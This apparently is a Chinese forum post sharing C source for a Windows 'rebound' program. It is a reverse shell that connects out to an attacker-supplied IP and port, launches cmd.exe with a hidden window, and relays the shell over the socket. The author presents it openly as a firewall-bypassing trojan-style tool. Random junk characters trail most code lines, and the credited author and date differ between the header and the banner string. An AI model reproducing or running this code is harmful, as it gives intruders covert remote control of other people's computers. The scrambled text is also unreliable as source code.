这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k8!:`jG
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/* ============================== o@hj.)u
Rebound port in Windows NT l<qEX O
By wind,2006/7 H|$
*HQm
===============================*/ GO.7IL{{
#include oWx^_wQ-=
#include Av0(zA2
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#pragma comment(lib,"wsock32.lib") 9f/l"
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void OutputShell(); w5yX~8UzJ
SOCKET sClient; 0|]d^bo
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LqXVi80
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void main(int argc,char **argv) K,6{c^qf
{ v0TbQ
WSADATA stWsaData; >oN Wf
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; BnfuI
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if(argc != 3) kT]jJbb"
{ ]0O3kiVQ
printf("Useage:\n\rRebound DestIP DestPort\n"); Q{5.;{/eC
return; RUq[HxF)
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} H )>3c1
lWH#/5`h
WSAStartup(MAKEWORD(2,2),&stWsaData); Bt#'6::
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t%O)Ti
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stSaiClient.sin_family = AF_INET; UCup {pDp
stSaiClient.sin_port = htons(0); \D};0#G0&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fq4uiFi<
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XZS%az1%
{ K2\)9
printf("Bind Socket Failed!\n"); ^(Z%,j3O
return; 9KB}?~Nx4
} $=ESY>MO
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stSaiServer.sin_family = AF_INET; cs_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M6 8foeeN
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L0I|V[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 86 9sS
{ >6[d&SM6
printf("Connect Error!"); $-|$4lrS
return; eh>FYx(
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} 0~+*$W
OutputShell(); B'mUDW8\D
} :>0,MO.^~K
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void OutputShell() *YX5bpR?
{ #z70:-`.[M
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; Um4DVg5
OSVERSIONINFO stOsversionInfo; wv\V&U$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $iMLT8U
STARTUPINFO stStartupInfo; Qg]A^{.1
char *szShell; !G6h~`[
PROCESS_INFORMATION stProcessInformation; l@1=./L?
unsigned long lBytesRead; @y'ZM
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `8tstWYa]Y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *0?@/2&
stSecurityAttributes.lpSecurityDescriptor = 0; bo@
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stSecurityAttributes.bInheritHandle = TRUE; Jh<s '&FR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,KD?kSIf
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); | lZJt
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?Z4%u8Krvz
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vy| 4k2
stStartupInfo.wShowWindow = SW_HIDE; Rry]6(
stStartupInfo.hStdInput = hReadPipe; -rjQ^ze
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; AlG5n'
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GetVersionEx(&stOsversionInfo); Gg]Jp:GF
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switch(stOsversionInfo.dwPlatformId) =F Y2O`%a
{ pq\N2d
case 1: ASrRMH[
szShell = "command.com"; tl*h"du^
break; 8h4]<T
default: "nb.!OG~(
szShell = "cmd.exe"; ~R~.D
break; ~)`\j
} AaoS &q
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )''V}Zn.X
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send(sClient,szMsg,77,0); uFb
9Ic]`
while(1) g]c6_DMfb1
{ $o;c:Kh$$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D^V)$ME
if(lBytesRead) '-J<ib
t
{ r:g_mMvB
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zUNUH^Il
send(sClient,szBuff,lBytesRead,0); #B6f{D[pI
} #`f{\
else ~b!la
{ tJn"$A^N
lBytesRead=recv(sClient,szBuff,1024,0); "vQ%`
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if(lBytesRead<=0) break; RLL%l
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A%7f;&x!
} hW/Ve'x[
} diVg|Z3T
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return; "frioi`a2
}